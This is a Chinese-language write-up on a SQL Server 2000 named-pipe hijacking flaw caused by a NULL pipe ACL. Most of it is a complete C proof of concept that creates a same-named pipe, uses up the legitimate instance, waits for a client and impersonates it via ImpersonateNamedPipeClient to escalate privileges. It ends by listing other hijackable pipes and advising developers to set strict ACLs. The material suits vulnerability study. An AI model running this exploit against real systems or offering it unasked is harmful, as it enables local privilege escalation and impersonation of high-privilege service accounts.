SQL Server 2000 支援命名管道通訊:
\\.\pipe\sql\query\\.\pipe\MSSQL$InstanceName\sql\query因管道 ACL 設為 NULL,**任何使用者皆可建立同名管道並劫持連線**,無需停止服務、無需高權限。
CreateNamedPipeCreateFile 建立連線不釋放)ImpersonateNamedPipeClient 模擬客戶端身分(通常為高權限服務帳戶)#include <windows.h>
#include <stdio.h>
void main() {
HANDLE pipea, pipeb[100];
DWORD ret, num, dwSize;
char szUser[256];
DWORD dwNumber = 0;
int i;
// 1. 驗證當前權限無法寫入受保護檔案
FILE *fp = fopen("C:\\test.txt","w");
if(fp==NULL) printf("now you don't open file;\n");
// 2. 建立同名管道復用 SQL Server 管道
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT,
100, 2048, 2048, NMPWAIT_USE_DEFAULT_WAIT, NULL);
if(pipea == INVALID_HANDLE_VALUE) { /* error */ return; }
// 3. 消耗正常實例(SQL Server 僅需 1 個)
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0) return;
for(i=0;i<1;i++) {
Sleep(20);
pipeb[i] = CreateFile("\\\\.\\pipe\\sql\\query",
GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(pipeb[i]==INVALID_HANDLE_VALUE) return;
}
// 4. 等待受害者連線
ConnectNamedPipe(pipea, NULL);
ReadFile(pipea, (void*)&dwNumber, 4, &dwSize, NULL);
// 5. 模擬客戶端身分
ImpersonateNamedPipeClient(pipea);
dwSize = 256;
GetUserName(szUser, &dwSize);
printf("Impersonating: %s\n", szUser);
// 6. 驗證權限提升
fp = fopen("C:\\test.txt","w");
if(fp!=NULL) printf("now you can open file\n");
// 清理
DisconnectNamedPipe(pipea); CloseHandle(pipea);
for(i=0;i<1;i++) CloseHandle(pipeb[i]);
}
WMIEP_*、nddeapi、sql\console、SQL\QUERY 等在 Guest 權限下可劫持此漏洞展示「缺乏 ACL 保護的管道可被後建立者劫持」,減少了預測名稱、停止服務等前置條件。開發管道伺服器應用時務必嚴格設定 ACL。